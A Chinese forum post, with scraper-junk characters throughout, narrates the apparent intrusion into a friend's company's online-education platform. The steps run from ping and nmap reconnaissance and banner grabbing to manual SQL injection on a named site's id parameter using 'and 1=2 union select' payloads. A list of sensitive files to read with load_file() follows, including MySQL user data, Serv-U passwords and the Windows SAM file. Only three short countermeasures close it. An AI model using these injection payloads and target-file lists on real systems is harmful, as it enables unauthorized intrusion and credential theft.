题记：
. L# b: B! U' A) N# }一位朋友在某教育公司，一套网络教育平台。一年前，在2008年8月份的时候，我看到了这套平台，当时发现了个注入漏洞，测试了一下，得到一个可用帐户后就没有再继续下去。今天7月，又说到此事，我决定继续下去……3 d! u2 ]1 Q! n" X
第一步：获取需要的信息& c, r# R: o* |
由于之前测试过，知道此系统某处存在SQL注入漏洞。但由于时隔一年，岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址，现在需要重新收集服务器有用信息。9 S( J n* P' P0 M/ T$ Y& Y# w
注：以下为保护特用XXX代替敏感信息
' K! J) h0 Z$ X2 Q+ Y2 m2 C% q6 g顺手先PING了一下他们的域名：# R7 x' Z' O8 Z. E/ Z( l2 n. F4 }
ping XXX.XXX.XXX.XXX（本文约定：用XXX.XXX.XXX.XXX代表测试IP和域名）0 n0 [2 I! A1 V' I$ ^
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
5 I+ z% U: s) o4 a+ j K8 [, V顺便了解一下TTL，学好基础知识才能一路顺风：2 E2 Z4 s. s0 H8 B
TTL：(Time To Live ) 生存时间+ D; ^% ]& z! o
指定数据包被路由器丢弃之前允许通过的网段数量。& V* \. H6 R0 d* B* G r& n; e4 Q
TTL 是由发送主机设置的，以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时，要求路由器至少将 TTL 减小 1。7 B V, M: k) I& ?0 Q. v% U: d
使用PING时涉及到的 ICMP 报文类型7 [3 U( g% Z5 x4 l
一个为ICMP请求回显（ICMP Echo Request）, ` H. m$ ^" @: Q( `
一个为ICMP回显应答（ICMP Echo Reply）) ` h- z! j2 D
TTL 字段值可以帮助我们识别操作系统类型。4 ?* I; b/ @6 |) V x, m9 F+ E. ?
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 2557 C- a" I, `5 N6 M" }
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64- ]8 M$ f. g6 y
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 1281 A3 _0 A6 p/ i. i+ s( G
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
, t! R. U+ z6 ~+ g9 _; f当然，返回的TTL值是相同的! ]" E( L& {. z8 c. ^
但有些情况下有所特殊
% K$ e" L5 d4 B9 @( LLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 642 p* K: t1 u; M# [ I8 {
FreeBSD 4.1, 4.0, 3.4;$ l- J' C( ^4 |0 u
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
3 { g" K# Z0 g5 X" J+ bOpenBSD 2.6, 2.7,( ]! v$ R2 M/ o1 ?6 w- u% K
NetBSD0 O9 x. z, w8 f h
HP UX 10.20 Q) W( |7 x h6 n% d' ], v5 d/ O
ICMP 回显应答的 TTL 字段值为 255% q3 d" b1 `4 f, v
Windows 95/98/98SE$ x' U. T o2 C+ ]5 Y9 c
Windows ME
: b7 `' F! d0 x$ C' R# P! hICMP 回显应答的 TTL 字段值为 325 V `# R/ o. [) i. W; k7 Y
Windows NT4 WRKS. z- x4 o7 i' P: E3 N, U) T
Windows NT4 Server8 X4 N* ]/ B/ P a! {- n) F; t6 o
Windows 2000+ |0 `3 @4 d/ X: L* n2 [; R7 l) P
Windows XP
; q6 v% `' l6 p% i yICMP 回显应答的 TTL 字段值为 128
: @# B- {# s) N2 y' Y- s: m这样，我们就可以通过这种方法来辨别操作系统$ q: g4 O# I7 X- W: M5 o
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值，其数据就是默认的TTL值了，我们可以修改，但不能大于十进制的255
- U8 b5 a0 z$ R用NMAP扫描一下：0 l" q9 i- |7 o+ C1 A1 @! F
nmap -sT -O XXX.XXX.XXX.XXX5 O6 P3 n" A1 y0 |2 w4 {4 g( D
如果没有装WinPcap则会弹出提示：! }4 ?* {1 X$ s+ ?
WARNING: Could not import all necessary WinPcap functions. You may need to upgr
! ~1 y' z `* |0 X( @' B2 Vade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(
. A+ \ ^9 \3 H7 \/ E$ N6 L) mode — Nmap may not function completely
3 K* `0 ^% u8 GTCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
: a) B3 K @3 K/ d8 F. Qand iphlpapi.dll be installed. You seem to be missing one or both of these. Win
: m2 _" S0 ^: m( w3 p1 Spcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an
) s* R$ j- g* \ `) O9 gd later operating sytems and NT 4.0 with SP4 or greater. For previous windows v3 `5 Y9 p' G4 k8 C
ersions, you may be able to take iphlpapi.dll from another system and place it i
+ \4 t2 p6 C& x# ?# L8 U9 ~5 Tn your system32 dir (e.g. c:\windows\system32).
& b( O) C9 v" C& p7 r( P( }QUITTING!+ s W/ U8 ]8 C- c
到这里下载： http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
. ~4 Y C' r! r' ~/ r1 e% U安装后继续执行刚才的命令，等待扫描完毕后得到入下信息：/ y6 f1 @# b6 b9 Q" j9 {+ L& q3 O
Interesting ports on XXX.XXX.XXX.XXX:
" H2 B. Y$ p% v4 LNot shown: 986 closed ports: |' i6 o* _: {9 n
PORT STATE SERVICE S2 p" w$ ^% F- N4 E& ~
21/tcp open ftp: R- e& X0 V$ D7 ?, K
22/tcp open ssh
) j$ K$ {1 d2 w% G5 a9 p# `2 ]0 ?23/tcp open telnet
8 l; A* s3 L$ F7 ~80/tcp open http' S# k4 k& U+ s. X
111/tcp open rpcbind
; a, M N5 g1 h+ a135/tcp filtered msrpc2 c$ H: P1 e% o! b- T0 k0 ]
139/tcp filtered netbios-ssn Y' T* L- h' N( S9 \& Y* z
445/tcp filtered microsoft-ds% m& F) k2 D- |! Y: z( b' |
513/tcp open login
; T$ n: a+ e) t+ y! \514/tcp open shell4 l. s; v* ^ `( S; J! K
593/tcp filtered http-rpc-epmap P* o9 A u7 v5 z
1720/tcp filtered H.323/Q.931$ R; T/ x6 ]* G4 W+ m5 d' {; F# A5 I
3306/tcp open mysql
9 ~. q& Y2 Q& j% [4444/tcp filtered krb524$ c* l* T) |% n6 p- W
Device type: WAP1 w. c7 e6 W* j! V2 i2 q$ i
Running: Linux 2.4.X
5 V \+ n, h4 o$ T5 S" }! aOS details: DD-WRT (Linux 2.4.35s)
$ R$ \1 k* o+ S; b1 yNetwork Distance: 13 hops% A* W* K0 Z1 b, P8 G
看到SSH22端口是开着的，打开putty试一下，看是否可以正常连接：4 s; J$ b) v0 ^& |! M e6 `
login as:/ ?9 ?% t" O! [( n
Telnet23端口也是开着的，用telnet 命令链接一下：
8 d+ w/ A' t* |telnet XXX.XXX.XXX.XXX- @0 v' z* m" a) i g& g
提示：
' [+ c) ~" C2 f6 _( KRed Hat Enterprise Linux Server release 5.2 (Tikanga)
7 ^0 ~& x0 b( W2 u' V; PKernel 2.6.18-92.el5PAE on an i6867 m, [1 t& g3 e( a# P# P
login:. L$ { J3 Y) [6 F4 W
获取HTTP头信息：9 E9 ^; d5 @2 ^* r# }5 b) O
在本地执行如下PHP代码
# s0 O' c6 z7 Z/ N<?php
( d c4 j! g8 y) \$url = ‘XXX.XXX.XXX.XXX’;
R5 @! F$ {2 F8 k9 Aprint_r(get_headers($url));
- L8 w* S) i) @9 gprint_r(get_headers($url, 1));3 A) ]% ?9 C2 v$ y9 z! n
?>
! o9 e6 |; A% G将以上代码保存为PHP文件，执行：
! N6 W0 I! ?' W% C0 _8 a* D4 VArray ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )8 {7 e1 ~" k- m8 r$ _
现在可以得出结论：
! ^; d% u% w2 Z$ k+ ~; G. `, d系统版本：Red Hat Enterprise Linux Server release 5.2 (Tikanga), K1 ?& X$ w1 X6 S- O: [" M7 R
内核版本：Kernel 2.6.18-92.el5PAE on an i686
4 c* I: a7 X! ?WEB服务器版本：nginx/0.7.61
6 K2 |( P* s- v5 ^9 q第二步，开始测试寻找漏洞6 Y( V; s4 t& t% r1 v
分析是否存在注入漏洞，因为上次曾发现存在过，所以注入则是我们的首选。9 V, n x4 _& k7 d/ {8 o) [
1、敏感地址：站内存在有类似：http://www.fovweb.com/XXX.php?id=123 这种地址，属动态传参的% h( c$ s5 X1 D% h
2、测试方法：在地址后加 and 1=1 和 and 1=2 测试, H# F! `' q$ F4 [! g. a* q, o- _
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
$ { x' V1 P' }, ~. Thttp://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
' g. \1 K( [9 t( s+ b/ {% r恭喜，两次返回结果不同，则很有可能存在未过滤敏感字符而存在SQL注入漏洞，我们继续
; j, A. b8 t! X/ I3、手工注入：4 n5 E7 A' G( K, G8 S; r0 [
注入也应该有个思路，不能随便碰运气，要记住入侵检测不是靠运气而走下去的，要靠的是清晰的思路、过硬的技术、很全的知识面。5 Y9 i- C9 U0 @- r& v3 X
3.1 猜测当前表字段数& Y$ W' F _4 @- R
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 100 w& K. k( A. ~$ `5 f. d2 o" E
此处猜测有个简单的算法，都是有技巧的吗，呵呵' e9 q; x) S+ W0 _7 g7 |
算法简单如下：
1 }2 ~7 M7 i6 O3 V" z第一步：根据页面信息，大概估算一个数值，这个是要靠一定的经验了；
8 m# e) H( H$ a! h7 m6 ?- K- N第二步：取中算法，好比是10，如果返回错误，则取中间值5进行下一次猜测；0 w, v1 \) M; Q3 |" W
需要注意：如果所选数值在字段数范围内即小于等于，则会（返回正常）；如果所选数值在字段范围外即大于等于，则会（返回错误）。; W, r; A& A @" Z1 A9 ~6 F
以此来判断，是否过界，配合取中算法猜出字段数。
& I7 J6 U, C. k! ~2 _, p/ H& E, P举例：$ O: I& R1 w* f% ?8 G, T
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常. B* n8 s) h2 Y+ E2 I, @6 B' f. t' \
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
0 s! B, K" ~4 |- _- q1 d4 l# v! j8 Z此时3则为我们要找的字段数。
7 s7 ]/ u0 ?/ f. H- n% A+ p8 [9 i3.2 配合union联合查询字段在页面所位置9 G* I+ Q1 y& Z: ]; l; i1 Y
我们已经知道了字段数为3，此时则可以做如下操作：4 x j" D: d) k% v) J5 x2 ~2 o/ [
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,33 o! S3 j: N4 O: z! ^ P& L
% e4 j& _, `) M9 e/ @! e% n
这样就可以测试到哪些字段在页面上有所显示了，如图：
* T5 u3 B R! |* I( q8 A3 W; J, A/ ?$ }: e3 X, ^, J+ U$ r
3.3 查敏感信息3 x0 A. G2 l) g4 y8 Y
这也是个思路问题，我们需要什么，其实到了这一步已经能做什么多事情了。
+ w1 g _( v/ m+ j3 O4 }. ~6 shttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
4 [) B1 E+ W' y2 b. O! ?/ ] c3.3.1 先查数据库用户、数据库名，以备后用，如图：8 S/ O j5 B, l% m% Q
% a6 B4 i& F* b, M; ~( S/ e得到数据库用户为root、数据库名为DBxx；
+ _- b9 j9 @) Z, c; }3.3.2 查配置文件; `$ d. H( f" z! ~8 p9 B
查配置文件，就是指查看系统敏感的文件，如web服务器配置文件等。
% e& K1 f5 T: s& ]查看文件有一定的条件限制：! S! g0 L7 m$ Z
欲读取文件必须在服务器上6 p/ u n6 c4 P" ~
必须指定文件完整的路径
. P2 n9 B ]9 [必须有权限读取并且文件必须完全可读" x h" T* _! \
欲读取文件必须小于 max_allowed_packet$ y: g( k/ |5 L! e& R
MYSQL注入中，load_file()函数在获得webshell以及提权过程中起着十分重要的作用，常被用来读取各种配置文件。1 y4 n5 @1 B9 r
常用的一些：
& ` _; _- ?! S/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件5 B; y& \0 m* f9 Y" t" N; Q/ P/ b9 ~$ d
/usr/local/apache2/conf/httpd.conf, ^6 z: b7 @5 V6 [& c
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/ H* C @ G: D/usr/local/app/php5/lib/php.ini //PHP相关设置
$ Q+ \, p% j+ a# p0 m/etc/sysconfig/iptables //从中得到防火墙规则策略
0 [. @ {( y0 E/etc/httpd/conf/httpd.conf // apache配置文件
* m, D/ z0 j' ~5 W' ^. }/etc/rsyncd.conf //同步程序配置文件6 z, U. W. Q" p3 }7 T; J. z& m/ W; j
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.% v# D5 C7 x2 |7 v6 G7 ~" a
/etc/my.cnf //mysql的配置文件
$ B# _9 E5 T, U1 Q, P' R/etc/redhat-release //系统版本
3 x7 b% G2 g8 s3 ^$ j# ^/etc/issue
% C5 ^+ N$ G; W2 H+ H/etc/issue.net
- W9 M- e' u- }. ~5 n! p d2 m( ]c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
5 E. {; M, o6 k: g* j1 e( Pc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码4 X+ Y% f( Q/ j9 D$ d! n3 R
c:\Program Files\Serv-U\ServUDaemon.ini d# I9 h0 d* l7 C ]
c:\windows\my.ini //MYSQL配置文件
+ e% b$ {+ _. [: M. W" C1 Tc:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件$ V, N% n# A$ n
等等。实际上，load_file()的作用不止于此，它还可以用来读取系统中的二进制文件，
$ i8 M3 R. K2 }% `c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码1 l8 F6 d% x% |6 G X& }
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此& @; K6 Z, K4 {$ a
c:\Program Files\RhinoSoft.com\ServUDaemon.exe, z4 [* K% k5 G% Y9 z z
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件( ~* P6 T- y6 o2 i' C
//存储了pcAnywhere的登陆密码
- e2 L& G0 h9 [6 r. s, H由于之前得到信息，此台服务器是采用的nginx做的Web服务器，那我们就来试着找一下nginx的安装路径吧。
" z6 e/ |* i3 m这个没有技术性可言，纯靠经验和运气，由于很少用nginx不了解，我就先到网上搜索常用的安装路径，以及比较好的配置文档中的安装路径进行测试，最终，得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
+ r0 I( S, t1 K# ~7 _+ I' B$ q最后：防范措施
v: X r( o3 J+ i1、修复PHP注入漏洞；' h3 t, W) q2 T+ r
2、Mysql使用普通权限的用户；- D# X. v6 Y3 m; b+ h5 C; U
3、升级linux内核至最新版本； |
发表于 2013-2-16 22:23:32
收藏
支持
反对